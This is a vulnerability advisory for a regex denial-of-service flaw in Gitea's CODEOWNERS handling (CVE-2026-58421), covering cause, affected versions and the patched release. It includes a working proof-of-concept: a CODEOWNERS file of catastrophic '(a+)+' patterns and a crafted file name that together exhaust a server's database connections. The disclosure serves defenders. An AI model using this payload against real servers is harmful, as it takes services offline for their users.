high · 7.5CVE-2026-58421Jul 21, 2026

CVE-2026-58421: Gitea CODEOWNERS ReDoS via Unbounded regexp2 Match

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Gitea lets any registered user crash a server by putting a catastrophic regex pattern in a CODEOWNERS file and opening a pull request with a crafted file name, hanging the database connection pool ind

Packagecode.gitea.io/gitea
Ecosystemgo
Affected<= 1.26.2
Fixed in1.26.4

The problem

Gitea's CODEOWNERS parser compiles user-supplied patterns with regexp2 using the `regexp2.None` flag, which sets no match timeout. Every pull request creation evaluates each CODEOWNERS rule against each changed file path inside a database transaction.

An attacker with a normal user account can write a catastrophic backtracking pattern into a CODEOWNERS file, then open a PR from a branch containing a file named to trigger worst-case backtracking. Each rule evaluation takes seconds, each PR holds a DB connection open for the full duration, and parallel PR creation exhausts the connection pool.

Proof of concept

A working proof-of-concept for CVE-2026-58421 in code.gitea.io/gitea, with the exact payload below.

bash
# CODEOWNERS (push to default branch)
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker
(a+)+ @attacker

# PR branch: create a file named exactly this (25 'a's + trailing 'X')
# The regex engine matches greedily then must backtrack through O(2^25) states
aaaaaaaaaaaaaaaaaaaaaaaaaX

# Then open a PR via API (or UI) from the attack branch to main.
# Each of the 11 rules calls regexp2 MatchString with no timeout.
# Observed: ~31 seconds per PR creation request; parallel requests exhaust
# the DB connection pool and take the Gitea instance offline.

The vulnerable call is in `models/issues/pull.go` (around line 886), where `ParseCodeOwnersLine` compiles each CODEOWNERS token with `regexp2.Compile(pattern, regexp2.None)` and calls `rule.MatchString(changedFile)` with no timeout set.

The pattern `(a+)+` is a classic polynomial/exponential backtracking trap: the engine attempts all ways to partition a run of `a`s into groups, and the trailing `X` forces every path to fail, producing O(2^N) states for an N-character input. CWE-1333 (Inefficient Regular Expression Complexity).

The patch (PR #38011) switches the `regexp2` call to use `MatchTimeout`, bounding each match to a short deadline so a malicious pattern cannot hold a goroutine or database transaction indefinitely.

The fix

Upgrade to Gitea 1.26.4 (skip 1.26.3, which introduced a code-page regression). The fix is in commit ea35af1b68d57522c7686618bd61d3216d91589f, PR #38011 backported as #38025. No configuration change is required after upgrading.

Reported by AdamKorcz.

References: [1][2][3][4][5][6]

Related research